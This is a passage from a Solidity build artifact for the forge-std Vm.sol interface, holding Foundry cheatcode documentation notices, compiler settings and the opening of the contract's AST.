`bytes`."},"parseBytes32(string)":{"notice":"Parses the given `string` into a `bytes32`."},"parseInt(string)":{"notice":"Parses the given `string` into a `int256`."},"parseJson(string)":{"notice":"ABI-encodes a JSON object."},"parseJson(string,string)":{"notice":"ABI-encodes a JSON object at `key`."},"parseJsonAddress(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `address`."},"parseJsonAddressArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `address[]`."},"parseJsonBool(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bool`."},"parseJsonBoolArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bool[]`."},"parseJsonBytes(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes`."},"parseJsonBytes32(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes32`."},"parseJsonBytes32Array(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes32[]`."},"parseJsonBytesArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes[]`."},"parseJsonInt(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `int256`."},"parseJsonIntArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `int256[]`."},"parseJsonKeys(string,string)":{"notice":"Returns an array of all the keys in a JSON object."},"parseJsonString(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `string`."},"parseJsonStringArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `string[]`."},"parseJsonUint(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `uint256`."},"parseJsonUintArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `uint256[]`."},"parseToml(string)":{"notice":"ABI-encodes a TOML table."},"parseToml(string,string)":{"notice":"ABI-encodes a TOML table at `key`."},"parseTomlAddress(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `address`."},"parseTomlAddressArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `address[]`."},"parseTomlBool(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bool`."},"parseTomlBoolArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bool[]`."},"parseTomlBytes(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes`."},"parseTomlBytes32(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes32`."},"parseTomlBytes32Array(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes32[]`."},"parseTomlBytesArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes[]`."},"parseTomlInt(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `int256`."},"parseTomlIntArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `int256[]`."},"parseTomlKeys(string,string)":{"notice":"Returns an array of all the keys in a TOML table."},"parseTomlString(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `string`."},"parseTomlStringArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `string[]`."},"parseTomlUint(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `uint256`."},"parseTomlUintArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `uint256[]`."},"parseUint(string)":{"notice":"Parses the given `string` into a `uint256`."},"pauseGasMetering()":{"notice":"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused."},"prank(address)":{"notice":"Sets the *next* call's `msg.sender` to be the input address."},"prank(address,address)":{"notice":"Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input."},"prevrandao(bytes32)":{"notice":"Sets `block.prevrandao`. Not available on EVM versions before Paris. Use `difficulty` instead. If used on unsupported EVM versions it will revert."},"projectRoot()":{"notice":"Get the path of the current project root."},"readCallers()":{"notice":"Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification."},"readDir(string)":{"notice":"Reads the directory at the given path recursively, up to `maxDepth`. `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned. Follows symbolic links if `followLinks` is true."},"readDir(string,uint64)":{"notice":"See `readDir(string)`."},"readDir(string,uint64,bool)":{"notice":"See `readDir(string)`."},"readFile(string)":{"notice":"Reads the entire content of file to string. `path` is relative to the project root."},"readFileBinary(string)":{"notice":"Reads the entire content of file as binary. `path` is relative to the project root."},"readLine(string)":{"notice":"Reads next line of file to string."},"readLink(string)":{"notice":"Reads a symbolic link, returning the path that the link points to. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` is not a symbolic link. - `path` does not exist."},"record()":{"notice":"Records all storage reads and writes."},"recordLogs()":{"notice":"Record all the transaction logs."},"rememberKey(uint256)":{"notice":"Adds a private key to the local forge wallet and returns the address."},"removeDir(string,bool)":{"notice":"Removes a directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` doesn't exist. - `path` isn't a directory. - User lacks permissions to modify `path`. - The directory is not empty and `recursive` is false. `path` is relative to the project root."},"removeFile(string)":{"notice":"Removes a file from the filesystem. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` points to a directory. - The file doesn't exist. - The user lacks permissions to remove the file. `path` is relative to the project root."},"replace(string,string,string)":{"notice":"Replaces occurrences of `from` in the given `string` with `to`."},"resetNonce(address)":{"notice":"Resets the nonce of an account to 0 for EOAs and 1 for contract accounts."},"resumeGasMetering()":{"notice":"Resumes gas metering (i.e. gas usage is counted again). Noop if already on."},"revertTo(uint256)":{"notice":"Revert the state of the EVM to a previous snapshot Takes the snapshot ID to revert to. Returns `true` if the snapshot was successfully reverted. Returns `false` if the snapshot does not exist. **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`."},"revertToAndDelete(uint256)":{"notice":"Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots Takes the snapshot ID to revert to. Returns `true` if the snapshot was successfully reverted and deleted. Returns `false` if the snapshot does not exist."},"revokePersistent(address)":{"notice":"Revokes persistent status from the address, previously added via `makePersistent`."},"revokePersistent(address[])":{"notice":"See `revokePersistent(address)`."},"roll(uint256)":{"notice":"Sets `block.height`."},"rollFork(bytes32)":{"notice":"Updates the currently active fork to given transaction. This will `rollFork` with the number of the block the transaction was mined in and replays all transaction mined before it in the block."},"rollFork(uint256)":{"notice":"Updates the currently active fork to given block number This is similar to `roll` but for the currently active fork."},"rollFork(uint256,bytes32)":{"notice":"Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block."},"rollFork(uint256,uint256)":{"notice":"Updates the given fork to given block number."},"rpc(string,string)":{"notice":"Performs an Ethereum JSON-RPC request to the current fork URL."},"rpcUrl(string)":{"notice":"Returns the RPC url for the given alias."},"rpcUrlStructs()":{"notice":"Returns all rpc urls and their aliases as structs."},"rpcUrls()":{"notice":"Returns all rpc urls and their aliases `[alias, url][]`."},"selectFork(uint256)":{"notice":"Takes a fork identifier created by `createFork` and sets the corresponding forked state as active."},"serializeAddress(string,string,address)":{"notice":"See `serializeJson`."},"serializeAddress(string,string,address[])":{"notice":"See `serializeJson`."},"serializeBool(string,string,bool)":{"notice":"See `serializeJson`."},"serializeBool(string,string,bool[])":{"notice":"See `serializeJson`."},"serializeBytes(string,string,bytes)":{"notice":"See `serializeJson`."},"serializeBytes(string,string,bytes[])":{"notice":"See `serializeJson`."},"serializeBytes32(string,string,bytes32)":{"notice":"See `serializeJson`."},"serializeBytes32(string,string,bytes32[])":{"notice":"See `serializeJson`."},"serializeInt(string,string,int256)":{"notice":"See `serializeJson`."},"serializeInt(string,string,int256[])":{"notice":"See `serializeJson`."},"serializeJson(string,string)":{"notice":"Serializes a key and value to a JSON object stored in-memory that can be later written to a file. Returns the stringified version of the specific JSON file up to that moment."},"serializeString(string,string,string)":{"notice":"See `serializeJson`."},"serializeString(string,string,string[])":{"notice":"See `serializeJson`."},"serializeUint(string,string,uint256)":{"notice":"See `serializeJson`."},"serializeUint(string,string,uint256[])":{"notice":"See `serializeJson`."},"setEnv(string,string)":{"notice":"Sets environment variables."},"setNonce(address,uint64)":{"notice":"Sets the nonce of an account. Must be higher than the current nonce of the account."},"setNonceUnsafe(address,uint64)":{"notice":"Sets the nonce of an account to an arbitrary value."},"sign((address,uint256,uint256,uint256),bytes32)":{"notice":"Signs data with a `Wallet`."},"sign(uint256,bytes32)":{"notice":"Signs `digest` with `privateKey` using the secp256k1 curve."},"signP256(uint256,bytes32)":{"notice":"Signs `digest` with `privateKey` using the secp256r1 curve."},"skip(bool)":{"notice":"Marks a test as skipped. Must be called at the top of the test."},"sleep(uint256)":{"notice":"Suspends execution of the main thread for `duration` milliseconds."},"snapshot()":{"notice":"Snapshot the current state of the evm. Returns the ID of the snapshot that was created. To revert a snapshot use `revertTo`."},"split(string,string)":{"notice":"Splits the given `string` into an array of strings divided by the `delimiter`."},"startBroadcast()":{"notice":"Using the address that calls the test contract, has all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain."},"startBroadcast(address)":{"notice":"Has all subsequent calls (at this call depth only) create transactions with the address provided that can later be signed and sent onchain."},"startBroadcast(uint256)":{"notice":"Has all subsequent calls (at this call depth only) create transactions with the private key provided that can later be signed and sent onchain."},"startMappingRecording()":{"notice":"Starts recording all map SSTOREs for later retrieval."},"startPrank(address)":{"notice":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called."},"startPrank(address,address)":{"notice":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input."},"startStateDiffRecording()":{"notice":"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order, along with the context of the calls"},"stopAndReturnStateDiff()":{"notice":"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session."},"stopBroadcast()":{"notice":"Stops collecting onchain transactions."},"stopExpectSafeMemory()":{"notice":"Stops all safe memory expectation in the current subcontext."},"stopMappingRecording()":{"notice":"Stops recording all map SSTOREs for later retrieval and clears the recorded data."},"stopPrank()":{"notice":"Resets subsequent calls' `msg.sender` to be `address(this)`."},"store(address,bytes32,bytes32)":{"notice":"Stores a value to an address' storage slot."},"toBase64(bytes)":{"notice":"Encodes a `bytes` value to a base64 string."},"toBase64(string)":{"notice":"Encodes a `string` value to a base64 string."},"toBase64URL(bytes)":{"notice":"Encodes a `bytes` value to a base64url string."},"toBase64URL(string)":{"notice":"Encodes a `string` value to a base64url string."},"toLowercase(string)":{"notice":"Converts the given `string` value to Lowercase."},"toString(address)":{"notice":"Converts the given value to a `string`."},"toString(bool)":{"notice":"Converts the given value to a `string`."},"toString(bytes)":{"notice":"Converts the given value to a `string`."},"toString(bytes32)":{"notice":"Converts the given value to a `string`."},"toString(int256)":{"notice":"Converts the given value to a `string`."},"toString(uint256)":{"notice":"Converts the given value to a `string`."},"toUppercase(string)":{"notice":"Converts the given `string` value to Uppercase."},"transact(bytes32)":{"notice":"Fetches the given transaction from the active fork and executes it on the current state."},"transact(uint256,bytes32)":{"notice":"Fetches the given transaction from the given fork and executes it on the current state."},"trim(string)":{"notice":"Trims leading and trailing whitespace from the given `string` value."},"tryFfi(string[])":{"notice":"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr."},"txGasPrice(uint256)":{"notice":"Sets `tx.gasprice`."},"unixTime()":{"notice":"Returns the time since unix epoch in milliseconds."},"warp(uint256)":{"notice":"Sets `block.timestamp`."},"writeFile(string,string)":{"notice":"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root."},"writeFileBinary(string,bytes)":{"notice":"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root."},"writeJson(string,string)":{"notice":"Write a serialized JSON object to a file. If the file exists, it will be overwritten."},"writeJson(string,string,string)":{"notice":"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = This is useful to replace a specific value of a JSON file, without having to parse the entire thing."},"writeLine(string,string)":{"notice":"Writes line to file, creating a file if it does not exist. `path` is relative to the project root."},"writeToml(string,string)":{"notice":"Takes serialized JSON, converts to TOML and write a serialized TOML to a file."},"writeToml(string,string,string)":{"notice":"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = This is useful to replace a specific value of a TOML file, without having to parse the entire thing."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Vm.sol":"Vm"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Vm.sol","id":15674,"exportedSymbols":{"Vm":[15673],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"117:84979:13","nodes":[{"id":12029,"nodeType":"PragmaDirective","src":"117:31:13","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":12030,"nodeType":"PragmaDirective","src":"149:33:13","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":15098,"nodeType":"ContractDefinition","src":"409:70923:13","nodes":[{"id":12038,"nodeType":"EnumDefinition","src":"529:533:13","nodes":[],"canonicalName":"VmSafe.CallerMode","documentation":{"id":12032,"nodeType":"StructuredDocumentation","src":"432:92:13","text":"A modification applied to either `msg.sender` or `tx.origin`. Returned by `readCallers`."},"members":[{"id":12033,"name":"None","nameLocation":"610:4:13","nodeType":"EnumValue","src":"610:4:13"},{"id":12034,"name":"Broadcast","nameLocation":"714:9:13","nodeType":"EnumValue","src":"714:9:13"},{"id":12035,"name":"RecurrentBroadcast","nameLocation":"829:18:13","nodeType":"EnumValue","src":"829:18:13"},{"id":12036,"name":"Prank","nameLocation":"939:5:13","nodeType":"EnumValue","src":"939:5:13"},{"id":12037,"name":"RecurrentPrank","nameLocation":"1042:14:13","nodeType":"EnumValue","src":"1042:14:13"}],"name":"CallerMode","nameLocation":"534:10:13"},{"id":12051,"nodeType":"EnumDefinition","src":"1118:791:13","nodes":[],"canonicalName":"VmSafe.AccountAccessKind","documentation":{"id":12039,"nodeType":"StructuredDocumentation","src":"1068:45:13","text":"The kind of account access that occurred."},"members":[{"id":12040,"name":"Call","nameLocation":"1186:4:13","nodeType":"EnumValue","src":"1186:4:13"},{"id":12041,"name":"DelegateCall","nameLocation":"1252:12:13","nodeType":"EnumValue","src":"1252:12:13"},{"id":12042,"name":"CallCode","nameLocation":"1322:8:13","nodeType":"EnumValue","src":"1322:8:13"},{"id":12043,"name":"StaticCall","nameLocation":"1390:10:13","nodeType":"EnumValue","src":"1390:10:13"},{"id":12044,"name":"Create","nameLocation":"1446:6:13","nodeType":"EnumValue","src":"1446:6:13"},{"id":12045,"name":"SelfDestruct","nameLocation":"1505:12:13","nodeType":"EnumValue","src":"1505:12:13"},{"id":12046,"name":"Resume","nameLocation":"1644:6:13","nodeType":"EnumValue","src":"1644:6:13"},{"id":12047,"name":"Balance","nameLocation":"1703:7:13","nodeType":"EnumValue","src":"1703:7:13"},{"id":12048,"name":"Extcodesize","nameLocation":"1764:11:13","nodeType":"EnumValue","src":"1764:11:13"},{"id":12049,"name":"Extcodehash","nameLocation":"1829:11:13","nodeType":"EnumValue","src":"1829:11:13"},{"id":12050,"name":"Extcodecopy","nameLocation":"1892:11:13","nodeType":"EnumValue","src":"1892:11:13"}],"name":"AccountAccessKind","nameLocation":"1123:17:13"},{"id":12060,"nodeType":"StructDefinition","src":"1971:237:13","nodes":[],"canonicalName":"VmSafe.Log","documentation":{"id":12052,"nodeType":"StructuredDocumentation","src":"1915:51:13","text":"An Ethereum log. Returned by `getRecordedLogs`."},"members":[{"constant":false,"id":12055,"mutability":"mutable","name":"topics","nameLocation":"2069:6:13","nodeType":"VariableDeclaration","scope":12060,"src":"2059:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2059:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12054,"nodeType":"ArrayTypeName","src":"2059:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12057,"mutability":"mutable","name":"data","nameLocation":"2127:4:13","nodeType":"VariableDeclaration","scope":12060,"src":"2121:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12056,"name":"bytes","nodeType":"ElementaryTypeName","src":"2121:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12059,"mutability":"mutable","name":"emitter","nameLocation":"2194:7:13","nodeType":"VariableDeclaration","scope":12060,"src":"2186:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12058,"name":"address","nodeType":"ElementaryTypeName","src":"2186:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"name":"Log","nameLocation":"1978:3:13","scope":15098,"visibility":"public"},{"id":12066,"nodeType":"StructDefinition","src":"2277:119:13","nodes":[],"canonicalName":"VmSafe.Rpc","documentation":{"id":12061,"nodeType":"StructuredDocumentation","src":"2214:58:13","text":"An RPC URL and its alias. Returned by `rpcUrlStructs`."},"members":[{"constant":false,"id":12063,"mutability":"mutable","name":"key","nameLocation":"2342:3:13","nodeType":"VariableDeclaration","scope":12066,"src":"2335:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12062,"name":"string","nodeType":"ElementaryTypeName","src":"2335:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12065,"mutability":"mutable","name":"url","nameLocation":"2386:3:13","nodeType":"VariableDeclaration","scope":12066,"src":"2379:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12064,"name":"string","nodeType":"ElementaryTypeName","src":"2379:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"Rpc","nameLocation":"2284:3:13","scope":15098,"visibility":"public"},{"id":12087,"nodeType":"StructDefinition","src":"2456:615:13","nodes":[],"canonicalName":"VmSafe.EthGetLogs","documentation":{"id":12067,"nodeType":"StructuredDocumentation","src":"2402:49:13","text":"An RPC log object. Returned by `eth_getLogs`."},"members":[{"constant":false,"id":12069,"mutability":"mutable","name":"emitter","nameLocation":"2537:7:13","nodeType":"VariableDeclaration","scope":12087,"src":"2529:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12068,"name":"address","nodeType":"ElementaryTypeName","src":"2529:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12072,"mutability":"mutable","name":"topics","nameLocation":"2631:6:13","nodeType":"VariableDeclaration","scope":12087,"src":"2621:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12070,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2621:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12071,"nodeType":"ArrayTypeName","src":"2621:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12074,"mutability":"mutable","name":"data","nameLocation":"2689:4:13","nodeType":"VariableDeclaration","scope":12087,"src":"2683:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12073,"name":"bytes","nodeType":"ElementaryTypeName","src":"2683:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12076,"mutability":"mutable","name":"blockHash","nameLocation":"2738:9:13","nodeType":"VariableDeclaration","scope":12087,"src":"2730:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12075,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2730:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12078,"mutability":"mutable","name":"blockNumber","nameLocation":"2793:11:13","nodeType":"VariableDeclaration","scope":12087,"src":"2786:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12077,"name":"uint64","nodeType":"ElementaryTypeName","src":"2786:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12080,"mutability":"mutable","name":"transactionHash","nameLocation":"2855:15:13","nodeType":"VariableDeclaration","scope":12087,"src":"2847:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12079,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2847:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12082,"mutability":"mutable","name":"transactionIndex","nameLocation":"2934:16:13","nodeType":"VariableDeclaration","scope":12087,"src":"2927:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12081,"name":"uint64","nodeType":"ElementaryTypeName","src":"2927:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12084,"mutability":"mutable","name":"logIndex","nameLocation":"2994:8:13","nodeType":"VariableDeclaration","scope":12087,"src":"2986:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12083,"name":"uint256","nodeType":"ElementaryTypeName","src":"2986:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12086,"mutability":"mutable","name":"removed","nameLocation":"3057:7:13","nodeType":"VariableDeclaration","scope":12087,"src":"3052:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12085,"name":"bool","nodeType":"ElementaryTypeName","src":"3052:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"EthGetLogs","nameLocation":"2463:10:13","scope":15098,"visibility":"public"},{"id":12099,"nodeType":"StructDefinition","src":"3147:334:13","nodes":[],"canonicalName":"VmSafe.DirEntry","documentation":{"id":12088,"nodeType":"StructuredDocumentation","src":"3077:65:13","text":"A single entry in a directory listing. Returned by `readDir`."},"members":[{"constant":false,"id":12090,"mutability":"mutable","name":"errorMessage","nameLocation":"3218:12:13","nodeType":"VariableDeclaration","scope":12099,"src":"3211:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12089,"name":"string","nodeType":"ElementaryTypeName","src":"3211:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12092,"mutability":"mutable","name":"path","nameLocation":"3281:4:13","nodeType":"VariableDeclaration","scope":12099,"src":"3274:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12091,"name":"string","nodeType":"ElementaryTypeName","src":"3274:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12094,"mutability":"mutable","name":"depth","nameLocation":"3337:5:13","nodeType":"VariableDeclaration","scope":12099,"src":"3330:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12093,"name":"uint64","nodeType":"ElementaryTypeName","src":"3330:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12096,"mutability":"mutable","name":"isDir","nameLocation":"3402:5:13","nodeType":"VariableDeclaration","scope":12099,"src":"3397:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12095,"name":"bool","nodeType":"ElementaryTypeName","src":"3397:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12098,"mutability":"mutable","name":"isSymlink","nameLocation":"3465:9:13","nodeType":"VariableDeclaration","scope":12099,"src":"3460:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12097,"name":"bool","nodeType":"ElementaryTypeName","src":"3460:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"DirEntry","nameLocation":"3154:8:13","scope":15098,"visibility":"public"},{"id":12115,"nodeType":"StructDefinition","src":"3711:599:13","nodes":[],"canonicalName":"VmSafe.FsMetadata","documentation":{"id":12100,"nodeType":"StructuredDocumentation","src":"3487:219:13","text":"Metadata information about a file.\n This structure is returned from the `fsMetadata` function and represents known\n metadata about a file such as its permissions, size, modification\n times, etc."},"members":[{"constant":false,"id":12102,"mutability":"mutable","name":"isDir","nameLocation":"3797:5:13","nodeType":"VariableDeclaration","scope":12115,"src":"3792:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12101,"name":"bool","nodeType":"ElementaryTypeName","src":"3792:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12104,"mutability":"mutable","name":"isSymlink","nameLocation":"3868:9:13","nodeType":"VariableDeclaration","scope":12115,"src":"3863:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12103,"name":"bool","nodeType":"ElementaryTypeName","src":"3863:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12106,"mutability":"mutable","name":"length","nameLocation":"3960:6:13","nodeType":"VariableDeclaration","scope":12115,"src":"3952:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12105,"name":"uint256","nodeType":"ElementaryTypeName","src":"3952:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12108,"mutability":"mutable","name":"readOnly","nameLocation":"4051:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4046:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12107,"name":"bool","nodeType":"ElementaryTypeName","src":"4046:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12110,"mutability":"mutable","name":"modified","nameLocation":"4140:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4132:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12109,"name":"uint256","nodeType":"ElementaryTypeName","src":"4132:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12112,"mutability":"mutable","name":"accessed","nameLocation":"4216:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4208:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12111,"name":"uint256","nodeType":"ElementaryTypeName","src":"4208:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12114,"mutability":"mutable","name":"created","nameLocation":"4296:7:13","nodeType":"VariableDeclaration","scope":12115,"src":"4288:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12113,"name":"uint256","nodeType":"ElementaryTypeName","src":"4288:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"ui